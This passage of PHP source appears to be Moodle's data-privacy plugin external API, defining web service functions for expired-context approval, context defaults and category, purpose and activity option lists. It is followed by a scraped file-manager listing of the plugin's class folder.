                }

                $expiredcontextstoapprove[] = $expiredcontext;
            }

            // Proceed with the approval if everything's in order.
            if ($result) {
                // Mark expired contexts as approved for deletion.
                foreach ($expiredcontextstoapprove as $expired) {
                    // Only mark expired contexts that are pending approval.
                    if ($expired->get('status') == expired_context::STATUS_EXPIRED) {
                        api::set_expired_context_status($expired, expired_context::STATUS_APPROVED);
                    }
                }
            }

        } else {
            // We don't have anything to process.
            $result = false;
            $warnings[] = [
                'item' => 'tool_dataprivacy_ctxexpired',
                'warningcode' => 'errornoexpiredcontexts',
                'message' => get_string('errornoexpiredcontexts', 'tool_dataprivacy')
            ];
        }

        return [
            'result' => $result,
            'warnings' => $warnings
        ];
    }

    /**
     * Returns for confirm_contexts_for_deletion().
     *
     * @since Moodle 3.5
     * @return external_single_structure
     */
    public static function confirm_contexts_for_deletion_returns() {
        return new external_single_structure([
            'result' => new external_value(PARAM_BOOL, 'Whether the record was properly marked for deletion or not'),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameters for set_context_defaults().
     *
     * @return external_function_parameters
     */
    public static function set_context_defaults_parameters() {
        return new external_function_parameters([
            'contextlevel' => new external_value(PARAM_INT, 'The context level', VALUE_REQUIRED),
            'category' => new external_value(PARAM_INT, 'The default category for the given context level', VALUE_REQUIRED),
            'purpose' => new external_value(PARAM_INT, 'The default purpose for the given context level', VALUE_REQUIRED),
            'activity' => new external_value(PARAM_PLUGIN, 'The plugin name of the activity', VALUE_DEFAULT, null),
            'override' => new external_value(PARAM_BOOL, 'Whether to override existing instances with the defaults', VALUE_DEFAULT,
                false),
        ]);
    }

    /**
     * Updates the default category and purpose for a given context level (and optionally, a plugin).
     *
     * @param int $contextlevel The context level.
     * @param int $category The ID matching the category.
     * @param int $purpose The ID matching the purpose record.
     * @param int $activity The name of the activity that we're making a defaults configuration for.
     * @param bool $override Whether to override the purpose/categories of existing instances to these defaults.
     * @return array
     */
    public static function set_context_defaults($contextlevel, $category, $purpose, $activity, $override) {
        $warnings = [];

        $params = external_api::validate_parameters(self::set_context_defaults_parameters(), [
            'contextlevel' => $contextlevel,
            'category' => $category,
            'purpose' => $purpose,
            'activity' => $activity,
            'override' => $override,
        ]);
        $contextlevel = $params['contextlevel'];
        $category = $params['category'];
        $purpose = $params['purpose'];
        $activity = $params['activity'];
        $override = $params['override'];

        // Validate context.
        $context = context_system::instance();
        self::validate_context($context);
        api::check_can_manage_data_registry();

        // Set the context defaults.
        $result = api::set_context_defaults($contextlevel, $category, $purpose, $activity, $override);

        return [
            'result' => $result,
            'warnings' => $warnings
        ];
    }

    /**
     * Returns for set_context_defaults().
     *
     * @return external_single_structure
     */
    public static function set_context_defaults_returns() {
        return new external_single_structure([
            'result' => new external_value(PARAM_BOOL, 'Whether the context defaults were successfully set or not'),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameters for get_category_options().
     *
     * @return external_function_parameters
     */
    public static function get_category_options_parameters() {
        return new external_function_parameters([
            'includeinherit' => new external_value(PARAM_BOOL, 'Include option "Inherit"', VALUE_DEFAULT, true),
            'includenotset' => new external_value(PARAM_BOOL, 'Include option "Not set"', VALUE_DEFAULT, false),
        ]);
    }

    /**
     * Fetches a list of data category options containing category IDs as keys and the category name for the value.
     *
     * @param bool $includeinherit Whether to include the "Inherit" option.
     * @param bool $includenotset Whether to include the "Not set" option.
     * @return array
     */
    public static function get_category_options($includeinherit, $includenotset) {
        $warnings = [];

        $params = self::validate_parameters(self::get_category_options_parameters(), [
            'includeinherit' => $includeinherit,
            'includenotset' => $includenotset
        ]);
        $includeinherit = $params['includeinherit'];
        $includenotset = $params['includenotset'];

        $context = context_system::instance();
        self::validate_context($context);
        api::check_can_manage_data_registry();

        $categories = api::get_categories();
        $options = data_registry_page::category_options($categories, $includenotset, $includeinherit);
        $categoryoptions = [];
        foreach ($options as $id => $name) {
            $categoryoptions[] = [
                'id' => $id,
                'name' => $name,
            ];
        }

        return [
            'options' => $categoryoptions,
            'warnings' => $warnings
        ];
    }

    /**
     * Returns for get_category_options().
     *
     * @return external_single_structure
     */
    public static function get_category_options_returns() {
        $optiondefinition = new external_single_structure(
            [
                'id' => new external_value(PARAM_INT, 'The category ID'),
                'name' => new external_value(PARAM_TEXT, 'The category name'),
            ]
        );

        return new external_single_structure([
            'options' => new external_multiple_structure($optiondefinition),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameters for get_purpose_options().
     *
     * @return external_function_parameters
     */
    public static function get_purpose_options_parameters() {
        return new external_function_parameters([
            'includeinherit' => new external_value(PARAM_BOOL, 'Include option "Inherit"', VALUE_DEFAULT, true),
            'includenotset' => new external_value(PARAM_BOOL, 'Include option "Not set"', VALUE_DEFAULT, false),
        ]);
    }

    /**
     * Fetches a list of data storage purposes containing purpose IDs as keys and the purpose name for the value.
     *
     * @param bool $includeinherit Whether to include the "Inherit" option.
     * @param bool $includenotset Whether to include the "Not set" option.
     * @return array
     */
    public static function get_purpose_options($includeinherit, $includenotset) {
        $warnings = [];

        $params = self::validate_parameters(self::get_category_options_parameters(), [
            'includeinherit' => $includeinherit,
            'includenotset' => $includenotset
        ]);
        $includeinherit = $params['includeinherit'];
        $includenotset = $params['includenotset'];

        $context = context_system::instance();
        self::validate_context($context);

        $purposes = api::get_purposes();
        $options = data_registry_page::purpose_options($purposes, $includenotset, $includeinherit);
        $purposeoptions = [];
        foreach ($options as $id => $name) {
            $purposeoptions[] = [
                'id' => $id,
                'name' => $name,
            ];
        }

        return [
            'options' => $purposeoptions,
            'warnings' => $warnings
        ];
    }

    /**
     * Returns for get_purpose_options().
     *
     * @return external_single_structure
     */
    public static function get_purpose_options_returns() {
        $optiondefinition = new external_single_structure(
            [
                'id' => new external_value(PARAM_INT, 'The purpose ID'),
                'name' => new external_value(PARAM_TEXT, 'The purpose name'),
            ]
        );

        return new external_single_structure([
            'options' => new external_multiple_structure($optiondefinition),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Parameters for get_activity_options().
     *
     * @return external_function_parameters
     */
    public static function get_activity_options_parameters() {
        return new external_function_parameters([
            'nodefaults' => new external_value(PARAM_BOOL, 'Whether to fetch all activities or only those without defaults',
                VALUE_DEFAULT, false),
        ]);
    }

    /**
     * Fetches a list of activity options for setting data registry defaults.
     *
     * @param boolean $nodefaults If false, it will fetch all of the activities. Otherwise, it will only fetch the activities
     *                            that don't have defaults yet (e.g. when adding a new activity module defaults).
     * @return array
     */
    public static function get_activity_options($nodefaults) {
        $warnings = [];

        $params = self::validate_parameters(self::get_activity_options_parameters(), [
            'nodefaults' => $nodefaults,
        ]);
        $nodefaults = $params['nodefaults'];

        $context = context_system::instance();
        self::validate_context($context);

        // Get activity module plugin info.
        $pluginmanager = \core_plugin_manager::instance();
        $modplugins = $pluginmanager->get_enabled_plugins('mod');
        $modoptions = [];

        // Get the module-level defaults. data_registry::get_defaults falls back to this when there are no activity defaults.
        list($levelpurpose, $levelcategory) = data_registry::get_defaults(CONTEXT_MODULE);
        foreach ($modplugins as $name) {
            // Check if we have default purpose and category for this module if we want don't want to fetch everything.
            if ($nodefaults) {
                list($purpose, $category) = data_registry::get_defaults(CONTEXT_MODULE, $name);
                // Compare this with the module-level defaults.
                if ($purpose !== $levelpurpose || $category !== $levelcategory) {
                    // If the defaults for this activity has been already set, there's no need to add this in the list of options.
                    continue;
                }
            }

            $displayname = $pluginmanager->plugin_name('mod_' . $name);
            $modoptions[] = (object)[
                'name' => $name,
                'displayname' => $displayname
            ];
        }

        return [
            'options' => $modoptions,
            'warnings' => $warnings
        ];
    }

    /**
     * Returns for get_category_options().
     *
     * @return external_single_structure
     */
    public static function get_activity_options_returns() {
        $optionsdefinition = new external_single_structure(
            [
                'name' => new external_value(PARAM_TEXT, 'The plugin name of the activity'),
                'displayname' => new external_value(PARAM_TEXT, 'The display name of the activity'),
            ]
        );

        return new external_single_structure([
            'options' => new external_multiple_structure($optionsdefinition),
            'warnings' => new external_warnings()
        ]);
    }

    /**
     * Gets the structure of a tree node (link + child branches).
     *
     * @since Moodle 3.5
     * @param bool $allowchildbranches
     * @return array
     */
    private static function get_tree_node_structure($allowchildbranches = true) {
        $fields = [
            'text' => new external_value(PARAM_RAW, 'The node text', VALUE_REQUIRED),
            'expandcontextid' => new external_value(PARAM_INT, 'The contextid this node expands', VALUE_REQUIRED),
            'expandelement' => new external_value(PARAM_ALPHA, 'What element is this node expanded to', VALUE_REQUIRED),
            'contextid' => new external_value(PARAM_INT, 'The node contextid', VALUE_REQUIRED),
            'contextlevel' => new external_value(PARAM_INT, 'The node contextlevel', VALUE_REQUIRED),
            'expanded' => new external_value(PARAM_INT, 'Is it expanded', VALUE_REQUIRED),
        ];

        if ($allowchildbranches) {
            // Passing false as we will not have more than 1 sub-level.
            $fields['branches'] = new external_multiple_structure(
                self::get_tree_node_structure(false),
                'Children node structure',
                VALUE_OPTIONAL
            );
        } else {
            // We will only have 1 sub-level and we don't want an infinite get_tree_node_structure, this is a hacky
            // way to prevent this infinite loop when calling get_tree_node_structure recursively.
            $fields['branches'] = new external_multiple_structure(
                new external_value(
                    PARAM_TEXT,
                    'Nothing really, it will always be an empty array',
                    VALUE_OPTIONAL
                )
            );
        }

        return new external_single_structure($fields, 'Node structure', VALUE_OPTIONAL);
    }
}

Filemanager

Name Type Size Permission Actions
event Folder 0777
external Folder 0777
form Folder 0777
local Folder 0777
output Folder 0777
privacy Folder 0777
task Folder 0777
api.php File 65.02 KB 0777
category.php File 2.85 KB 0777
context_instance.php File 3.2 KB 0777
contextlevel.php File 3.96 KB 0777
contextlist_context.php File 1.97 KB 0777
data_registry.php File 14.46 KB 0777
data_request.php File 10.17 KB 0777
dataprivacy_contextlist.php File 1.94 KB 0777
expired_context.php File 10.96 KB 0777
expired_contexts_manager.php File 38.56 KB 0777
expiry_info.php File 6.29 KB 0777
external.php File 55.99 KB 0777
filtered_userlist.php File 2.29 KB 0777
hook_callbacks.php File 1.95 KB 0777
manager_observer.php File 2.88 KB 0777
metadata_registry.php File 8.24 KB 0777
page_helper.php File 3.09 KB 0777
purpose.php File 5.98 KB 0777
purpose_override.php File 4.59 KB 0777
request_contextlist.php File 1.92 KB 0777
Filemanager